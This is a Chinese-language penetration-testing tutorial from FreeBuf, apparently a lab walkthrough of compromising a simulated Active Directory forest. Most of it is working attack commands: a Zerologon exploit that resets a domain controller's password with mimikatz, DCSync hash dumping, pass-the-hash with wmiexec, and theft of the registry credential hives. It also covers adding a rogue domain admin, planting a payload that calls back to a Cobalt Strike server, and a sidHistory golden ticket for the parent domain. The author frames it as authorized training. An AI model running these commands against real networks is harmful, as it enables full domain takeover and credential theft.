freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基内网篇:域森林中实战攻防(中)
2021-07-01 09:27:33

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透 

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 -> 辅域控制器 -> 财务独立域 -> 涉密系统

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸(财务独立域10.10.21.0/24)

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过前几期的域森林专辑文章中利用隐藏通道技术、权限提升、横向攻击、域控安全技术、跨域攻击、置零攻击等手段对公司进行了大面积渗透行为,今天我们就来对域森林中进行实战攻防演练,利用前期学到的方法在内网中遨游!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)
拓扑图简介

1625103144_60dd1b284c6d7738fa39d.png!small?1625103144599

为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林中父子域和辅域用户搭建分析

实战是结合所有知识思路的集合体,只有实战才能检验能力的时刻,也只有实战才能更快的进步和检验错误,接下来将介绍如何一步步攻破内网域森林环境!

三、CVE-2020-1472攻击域控

1、环境下载

mimikatz工具地址:

https://github.com/gentilkiwi/mimikatz
https://github.com/SecureAuthCorp/impacket

Kali上-impacket环境安装:

proxychains git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo pip3 install .
sudo python3 setup.py install

pip3安装:
wget https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py

2、免杀mimikatz并上传

参考:

专辑:渗透测试之地基篇

1625103158_60dd1b3696654da0563aa.png!small?1625103164729

2、检测是否存在漏洞

CS上进行检测是否存在CVE-2020-1472漏洞:

1625103167_60dd1b3fa294577109acf.png!small?1625103170884

shell mimikatz "lsadump::zerologon /target:10.10.3.6 /account:XIYOU$" "exit"

回显Authentication: OK -- vulnerable,是存在该漏洞情况,可以进行攻击!!

3、利用CVE-2020-1472修改域控密码为空

CS上利用mimikatz进行域控密码置空攻击:

1625103173_60dd1b45e41fc5d0d42ee.png!small?1625103176861

shell mimikatz "lsadump::zerologon /target:10.10.3.6 /account:XIYOU$ /exploit" "exit"

回显:

* Authentication: OK -- vulnerable
* Set password  : OK -- may be unstable

可看到成功置零hash!!

4、获取hash

先要挂上代理,使用proxychains进行隧道代理后利用域控凭证通过dcsync获取域管机器用户的hash:

1625103185_60dd1b51b44213453c2cc.png!small?1625103198160

proxychains impacket-secretsdump -no-pass -just-dc xiyou.dayu.com/XIYOU\$@10.10.3.6

5、横向攻击

可以破解出域管密码,使用net结合wmic、schtasks等远程执行命令方法离线获取保存在注册表中的域控凭证,也可以使用imapcket中的远程执行工具通过hash传递获取。

这里利用wmiexec.py进行横向攻击,wmiexec.py是kali自带的文件,搜索下即可!

1625103192_60dd1b58f336e6d087cc6.png!small?1625103198161

proxychains wmiexec.py -hashes :c515ba5a374ae93dd2018cab7edfb42d ./Administrator@10.10.3.6

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

成功将system.save、sam.save、security.save三个文件拷贝到本地!

6、secretsdump获取原hash

使用impacket中的secretsdump拿到域控机器账户原始哈希。

1625103200_60dd1b605f60f4d6ad380.png!small?1625103215054

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

成功对system.save、sam.save、security.save文件读取原来hash!

7、机器用户密码恢复

使用刚读取到的原hash将XIYOU机器用户密码恢复:

下载地址:

1625103206_60dd1b66b0ae3d85c4290.png!small?1625103215054

1625103218_60dd1b72b66e207471574.png!small?1625103226144

https://github.com/risksense/zerologon
proxychains python3 reinstall_original_pw.py XIYOU 10.10.3.6 f5369b5accc878d9eedfcde13578e2fc

回显:

Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.

成功!DC计算机帐户应恢复为其原始值!!

四、子域上线CS

可以创建域控组用户、可以利用黄金、白银、PTH、psexec、pth-winexe、wmiexec、smbexec等等技术进行普通域控制!

将介绍一个创建用户方法!

1、创建domain管理用户

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c515ba5a374ae93dd2018cab7edfb42d xiyou.dayu.com/Administrator@10.10.3.6
net user testyy QWEasd123 /add /domainnet group "domain admins" testyy /add /domain

成功创建testyy域用户并提升为domain admins管理域控组!

2、建立IPC

1)普通域用户上建立和子域控机器IPC连接:

1625103287_60dd1bb7e12dd460fe25e.png!small?1625103291185

shell net use \\10.10.3.6\ipc$ "QWEasd123" /user:testyy
shell net use

成功连接!

2)获取权限目录:

1625103293_60dd1bbdf2ece6f61a4e3.png!small?1625103296530

shell dir \\10.10.3.6\c$

正常读取对方目录!

3、上传中转payload

1)本地上传payload到普通域用户目录下:

1625103306_60dd1bcabf3fe29fdcbe2.png!small?1625103311023

1625103311_60dd1bcf71ea7024393fa.png!small?1625103314425

2)IPC上传payload

使用之前建立的IPC共享上传中转payload:

1625103322_60dd1bda4fed348fb68f0.png!small?1625103322925

shell copy ee.exe \\10.10.3.6\c$

4、执行上线

1)wmiexec执行payload:

1625103327_60dd1bdfa2ebdbf736563.png!small?1625103328429

wmiexec.exe testyy:QWEasd123@10.10.3.6

2)上线CS:

1625103334_60dd1be63a358dac53ebf.png!small?1625103339059

执行后成功通过普通域跳板反弹上线到公网VPS的team服务器上!

五、跨域攻击父域

由于前期为了产生最小影响度,快速度利用CVE-2020-1472攻击域控后,立马进行了恢复处理。

当然也可以继续利用CVE-2020-1472工具父域,也可以利用域信任关系进行攻击!接下来两种方法都进行演示!

1、利用 krbtgt散列值获取目标域的权限

使用mimikaz,可以在构建黄金票据时设置sidHistory。因此,如果攻击者获取了林内任意域的krbtgt散列值,就可以利用sidHistory获得该林的完整权限。

1)获取父子域SID

子域控制器中执行:

1625103438_60dd1c4e442a9f1f412e4.png!small?1625103440863

mimikatz.exe privilege::debug "lsadump::lsa /patch /user:父域名$" "lsadump::trust /patch" exit

mimikatz.exe privilege::debug "lsadump::lsa /patch /user:dayu$" "lsadump::trust /patch" exit
NTLM : 5c71b05069ce9dc07c94d46851068d9f
XIYOU.DAYU.COM: S-1-5-21-1816246241-4074331134-2257350442
DAYU.COM:S-1-5-21-3309395417-4108617856-2168433834

2)获取krbtgt散列值:

在域控制器上使用mimikatz获取 krbtgt 散列值:

mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "sekurlsa::krbtgt" exit 

1625103452_60dd1c5caf4590ca917e6.png!small?1625103453297

在子域内的计算机上使用普通用户权限(sub\test)构造并注入黄金票据,获取目标域的权限。

mimikatz.exe “Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-519 /krbtgt: krbtgt散列 /ptt" exit

user参数用于指定用户名: domain参数用于指定当前域名: sid参数用于当前城的SID; sids参数用于指定目标域的SID(在本实验中为519,代表渗透测试人员创建的户属于目标域的管理员组): krbtgt 参数指定krbtgt散列值: ptt 表示将票据往人内存。

mimikatz.exe “Kerberos::golden /user:administrator /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /sids:S-1-5-21-3309395417-4108617856-2168433834-519 /krbtgt:39601ebdad1d3e960ed3712398d3ab3a /ptt" exit

输人如下命令,访问目标服务
dir \\dayu1.dayu.com\C$

3、利用wmiexec.py横向渗透

通过前面获得的hash横向登录:

python3 ./wmiexec.py -hashes ad3b435b51404eeaad3b435b51404ee:c515ba5a374ae93dd2018cab7edfb42d dayu1.dayu.com/administrator@10.10.3.5

登录后即可获得cmd权限,直接利用CS生成免杀木马,直接上线即可!

六、总结

通过CVE-2020-1472置零攻击、子域控信息收集、跨域攻击最后拿下父域控制器,在实战攻防下篇章会介绍如何继续进攻财务独立域环境!希望小伙伴们学到更多的技术!加油~

公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> 域森林中横向移动(下)-> 域森林中域控制安全(上)-> 域森林中域控制安全(下)-> 域森林中跨域攻击(总)-> 域森林中置零攻击(总)-> 域森林中权限维持(上)-> 域森林中权限维持(中)-> 域森林中权限维持(下)-> 域森林中实战攻防(上)-> 域森林中实战攻防(中)......

接下来在《域森林中实战攻防(下)》中会接触到如何渗透攻防方法拿下独立域在建立三级socks5代理打涉密系统的,请看下篇域森林中实战攻防下篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# web安全 # 实战攻防
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录